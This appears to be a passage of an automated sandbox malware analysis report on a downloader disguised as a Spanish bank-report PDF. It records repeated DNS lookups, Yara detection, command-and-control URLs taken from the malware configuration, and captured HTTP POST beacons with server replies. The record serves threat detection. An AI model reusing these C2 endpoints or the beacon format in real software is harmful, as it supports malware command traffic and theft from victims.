Source: C:\Users\user\Desktop\Informe bancario.pdf.exe DNS query: kossa.xyz
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe DNS query: kossa.xyz
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe DNS query: kossa.xyz
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe DNS query: kossa.xyz
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe DNS query: kossa.xyz
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe DNS query: kossa.xyz
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe DNS query: kossa.xyz
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe DNS query: kossa.xyz
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe DNS query: kossa.xyz
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe DNS query: kossa.xyz
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe DNS query: kossa.xyz
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe DNS query: kossa.xyz
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe DNS query: kossa.xyz
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe DNS query: kossa.xyz
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe DNS query: kossa.xyz
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe DNS query: kossa.xyz
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe DNS query: kossa.xyz
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe DNS query: kossa.xyz
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe DNS query: kossa.xyz
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe DNS query: kossa.xyz
Source: DNS query: kossa.xyz
Yara detected Generic Downloader
Source: Yara match File source: 0.2.Informe bancario.pdf.exe.2860464.4.raw.unpack, type: UNPACKEDPE
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: http://kbfvzoboss.bid/alien/fre.php
Source: Malware configuration extractor URLs: http://alphastand.trade/alien/fre.php
Source: Malware configuration extractor URLs: http://alphastand.win/alien/fre.php
Source: Malware configuration extractor URLs: http://alphastand.top/alien/fre.php
Source: Malware configuration extractor URLs: http://kossa.xyz/esi/pp/play.php
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: POST /esi/pp/play.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: kossa.xyzAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 690A3530Content-Length: 190Connection: close
Source: global traffic HTTP traffic detected: POST /esi/pp/play.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: kossa.xyzAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 690A3530Content-Length: 190Connection: close
Source: global traffic HTTP traffic detected: POST /esi/pp/play.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: kossa.xyzAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 690A3530Content-Length: 163Connection: close
Source: global traffic HTTP traffic detected: POST /esi/pp/play.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: kossa.xyzAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 690A3530Content-Length: 163Connection: close
Source: global traffic HTTP traffic detected: POST /esi/pp/play.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: kossa.xyzAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 690A3530Content-Length: 163Connection: close
Source: global traffic HTTP traffic detected: POST /esi/pp/play.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: kossa.xyzAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 690A3530Content-Length: 163Connection: close
Source: global traffic HTTP traffic detected: POST /esi/pp/play.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: kossa.xyzAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 690A3530Content-Length: 163Connection: close
Source: global traffic HTTP traffic detected: POST /esi/pp/play.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: kossa.xyzAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 690A3530Content-Length: 163Connection: close
Source: global traffic HTTP traffic detected: POST /esi/pp/play.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: kossa.xyzAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 690A3530Content-Length: 163Connection: close
Source: global traffic HTTP traffic detected: POST /esi/pp/play.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: kossa.xyzAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 690A3530Content-Length: 163Connection: close
Source: global traffic HTTP traffic detected: POST /esi/pp/play.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: kossa.xyzAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 690A3530Content-Length: 163Connection: close
Source: global traffic HTTP traffic detected: POST /esi/pp/play.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: kossa.xyzAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 690A3530Content-Length: 163Connection: close
Source: global traffic HTTP traffic detected: POST /esi/pp/play.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: kossa.xyzAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 690A3530Content-Length: 163Connection: close
Source: global traffic HTTP traffic detected: POST /esi/pp/play.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: kossa.xyzAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 690A3530Content-Length: 163Connection: close
Source: global traffic HTTP traffic detected: POST /esi/pp/play.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: kossa.xyzAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 690A3530Content-Length: 163Connection: close
Source: global traffic HTTP traffic detected: POST /esi/pp/play.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: kossa.xyzAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 690A3530Content-Length: 163Connection: close
Source: global traffic HTTP traffic detected: POST /esi/pp/play.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: kossa.xyzAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 690A3530Content-Length: 163Connection: close
Source: global traffic HTTP traffic detected: POST /esi/pp/play.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: kossa.xyzAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 690A3530Content-Length: 163Connection: close
Source: global traffic HTTP traffic detected: POST /esi/pp/play.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: kossa.xyzAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 690A3530Content-Length: 163Connection: close
Source: global traffic HTTP traffic detected: POST /esi/pp/play.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: kossa.xyzAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 690A3530Content-Length: 163Connection: close
Source: global traffic HTTP traffic detected: POST /esi/pp/play.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: kossa.xyzAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 690A3530Content-Length: 163Connection: close
Source: global traffic HTTP traffic detected: POST /esi/pp/play.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: kossa.xyzAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 690A3530Content-Length: 163Connection: close
Source: global traffic HTTP traffic detected: POST /esi/pp/play.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: kossa.xyzAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 690A3530Content-Length: 163Connection: close
Source: global traffic HTTP traffic detected: POST /esi/pp/play.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: kossa.xyzAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 690A3530Content-Length: 163Connection: close
Source: global traffic HTTP traffic detected: POST /esi/pp/play.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: kossa.xyzAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 690A3530Content-Length: 163Connection: close
Source: global traffic HTTP traffic detected: POST /esi/pp/play.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: kossa.xyzAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 690A3530Content-Length: 163Connection: close
Source: global traffic HTTP traffic detected: POST /esi/pp/play.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: kossa.xyzAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 690A3530Content-Length: 163Connection: close
Source: global traffic HTTP traffic detected: POST /esi/pp/play.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: kossa.xyzAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 690A3530Content-Length: 163Connection: close
Source: global traffic HTTP traffic detected: POST /esi/pp/play.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: kossa.xyzAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 690A3530Content-Length: 163Connection: close
Source: global traffic HTTP traffic detected: POST /esi/pp/play.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: kossa.xyzAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 690A3530Content-Length: 163Connection: close
Source: global traffic HTTP traffic detected: POST /esi/pp/play.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: kossa.xyzAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 690A3530Content-Length: 163Connection: close
Source: global traffic HTTP traffic detected: POST /esi/pp/play.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: kossa.xyzAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 690A3530Content-Length: 163Connection: close
Source: global traffic HTTP traffic detected: POST /esi/pp/play.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: kossa.xyzAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 690A3530Content-Length: 163Connection: close
Source: global traffic HTTP traffic detected: POST /esi/pp/play.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: kossa.xyzAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 690A3530Content-Length: 163Connection: close
Source: global traffic HTTP traffic detected: POST /esi/pp/play.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: kossa.xyzAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 690A3530Content-Length: 163Connection: close
Source: global traffic HTTP traffic detected: POST /esi/pp/play.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: kossa.xyzAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 690A3530Content-Length: 163Connection: close
Source: global traffic HTTP traffic detected: POST /esi/pp/play.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: kossa.xyzAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 690A3530Content-Length: 163Connection: close
Source: global traffic HTTP traffic detected: POST /esi/pp/play.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: kossa.xyzAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 690A3530Content-Length: 163Connection: close
Source: global traffic HTTP traffic detected: POST /esi/pp/play.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: kossa.xyzAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 690A3530Content-Length: 163Connection: close
Source: global traffic HTTP traffic detected: POST /esi/pp/play.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: kossa.xyzAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 690A3530Content-Length: 163Connection: close
Source: global traffic HTTP traffic detected: POST /esi/pp/play.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: kossa.xyzAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 690A3530Content-Length: 163Connection: close
Source: global traffic HTTP traffic detected: POST /esi/pp/play.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: kossa.xyzAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 690A3530Content-Length: 163Connection: close
Source: global traffic HTTP traffic detected: POST /esi/pp/play.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: kossa.xyzAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 690A3530Content-Length: 163Connection: close
Source: global traffic HTTP traffic detected: POST /esi/pp/play.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: kossa.xyzAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 690A3530Content-Length: 163Connection: close
Source: global traffic HTTP traffic detected: POST /esi/pp/play.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: kossa.xyzAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 690A3530Content-Length: 163Connection: close
Source: global traffic HTTP traffic detected: POST /esi/pp/play.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: kossa.xyzAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 690A3530Content-Length: 163Connection: close
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Jun 2022 15:54:34 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=2%2F3%2FYGTqLRrwVxRYD5V6o8dLFQPAl70RKKELnXHzwiFsIH2XD55%2F8HTU0BtJrL1Zc0%2BqzyVQYKfoLsSi1rv5TON5EVTpte0zWNjM9a5ORZnqM1owuJ8kheCb5R4%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 71fe6729ff697711-LHRalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Jun 2022 15:54:35 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=vInpdW2j2t0TkXgNWrVbBrhz59C5ZUZepr6EXNkEDlN5Mmpr3I3XN9MXchA%2FuUuBCNvin54PKkEVjvkFMD1mUTaTWJDjljOyWMNNY2gG90YnT13wAFVp5IWO%2BbU%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 71fe6734694506b6-LHRalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Jun 2022 15:54:37 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=7V5Gc3atXU%2F7rltrm12KGvbycRYFCgLiJibtU08Is1x6vGrWm%2FIN9lvKLV2xmFkSfDE5rh4%2Fv1K4HHvGipuCkiTMbAUFNj04N3yK7qCmAv2YMqNtVqxcv%2Fzmb0Q%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 71fe673df81e8895-LHRalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Jun 2022 15:54:38 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=RqbB9AlMckjRfLEXC38HUt8viJ2CR%2FdVWCxsO%2BoHbSN0xpni4oUpMZeSqUIbFeVVkL%2Bs3vYMe6TfFwzCv3eFt4urQt%2BRsoBtSMZHf4OabSRk9sogB2WT1NRzmJw%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 71fe67468dd5066a-LHRalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Jun 2022 15:54:40 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=On2%2FpBbJ8An%2FGT14pb6QnHaMiacGEvLWqvhnE5%2FSD4rLjnj6Rg8CaXBDk5x6PgGIs1zw%2F9xQzIw34H4JV5ysx6pavr9OaSBZznt7OiXOPZ7yuub0vKY0I4ucXdc%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 71fe674f5bcf9113-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Jun 2022 15:54:42 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=A5YyEf0yuwnHwY6Ol0zSUHeAlII5yG%2BtbGShw%2FjBJg5diEWvZQfKwCUTDIJxxICscixc6esDrhJtzgAn7OPqg90dV5gKlSdKD%2FW1lVNU2OPU2c2jZDcVkVCMggc%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 71fe675ebf0c073a-LHRalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Jun 2022 15:54:44 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=vEgpr3LOSViFW7U4tH4ppo5INxAD%2BZ%2BN3%2B9UVagKYbUpMETFO48oULBbA5Kr9X056uTqcm%2FIwqhHqd4PEs2vhrZ3QbZ0ozxdU95eKTCIQP9hp9TaTmBW0Aq1vrM%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 71fe676afa967686-LHRalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Jun 2022 15:54:47 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=F4Nqrt%2F5hGOyJxDUSwRw%2BU5zDViLSlLSg6wN6Ng%2FzguYQrkaT0UJAvGfoYFQZVGyEo1S7j15L1Is6rYnPqlyrbhlgioaEvmmmIssIyRqN3JfPx8ufigGYDLb8aE%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 71fe677e2a1e71e6-LHRalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Jun 2022 15:54:50 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=5xx1f%2BZB0Bg5SOjVIWnyu0GmHyG%2FMUBT0%2BClXCf6KEUUmDyR9H%2B5JAFdWPy4E49JxTYPuBPHW9AXlJtc1VrtPim5jOrGLb2ysNW1ZTe9KdOAJZLg%2FJq0FsNYDNM%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 71fe678f6e537519-LHRalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Jun 2022 15:54:52 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=l8gl5ethGM613nbIJMkijjldEfcAImSZ1NC%2BMhhEPi8o59DvPMewQifZG5OunxAQsmWlHRTeAIKHni0o%2BThHW2lo09mMKEmROFUNb7SzQ9dbI6%2B8whjK%2B5OwLtQ%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 71fe679cbdb876d2-LHRalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Jun 2022 15:54:55 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=0akr324rj22v7XL1BzRlbcaOgwhIsL47D88GVXY%2FxOflrdVv9CvEO4yeF8f9FJu3D%2B6Y7sLCT%2BeCECm2KJKeJ%2B7ErMUaz8ZvLbAsEZPVjHkh3byzhQxA4ywMTYk%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 71fe67ac08e59b4c-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Jun 2022 15:54:56 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2ByevUGMGsZ111zCdJS74X4XYDvx6eVZ3i%2F5VUEP17FJNs3Bqe8Qn0vElJjRGqHAY7uRrku1Pn%2FjCwHkZuCcO%2F57fHu0HPl8zmRUlYlJb33Oa25zNF9kqh6%2FNuew%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 71fe67b658a89b8c-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Jun 2022 15:54:58 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=kwfBO1rarCMHF33sDfc%2FZKo%2FIgtM77dHh4KfHrltf1yF4wOBGBcPdtPYk7Gne4ienNeRTkl01aZxPHrTI9mJKW6071l4b0ziZbDzmI6omQQuIRxDJR5b361HK7g%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 71fe67c009327562-LHRalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Jun 2022 15:54:59 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=xqhVjfx2p8PTpn4tczArStndPzakgSs%2BTWI7UJE786K6XBIJeBhOXQHsjNJk26JEngnxLLixd5ZrVVrb8Tu6D0EaWH0pbbBSZ1yLO8LXPRRQZoxw97K2w%2F9d7so%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 71fe67c96fb24057-LHRalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Jun 2022 15:55:01 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Q5Tz5JLO2MblLMyr4APXVpxgxfK%2B0Kc3BOQhOBhwPUsguvgSrEuQlc5mh%2B9pPj8KhG7kVF7cHtszSFE%2BtD9Yahsoh%2BPGlGVRZRdCImmWU%2FfiCDnsGX2p9GMZTsY%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 71fe67d2489376ef-LHRalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Jun 2022 15:55:02 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=31Nszk1CWYSA9SOTTjk0axXRKvLvR16xBtz06oEJk7GyK9ZiBFLDPgs20nYRt%2BvKchXumr41xrIC6OwbUn7QZAfWFpu5HQjcSbXgMxSyKeSe0hICexexAPmqGmg%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 71fe67dc3ac9892a-LHRalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
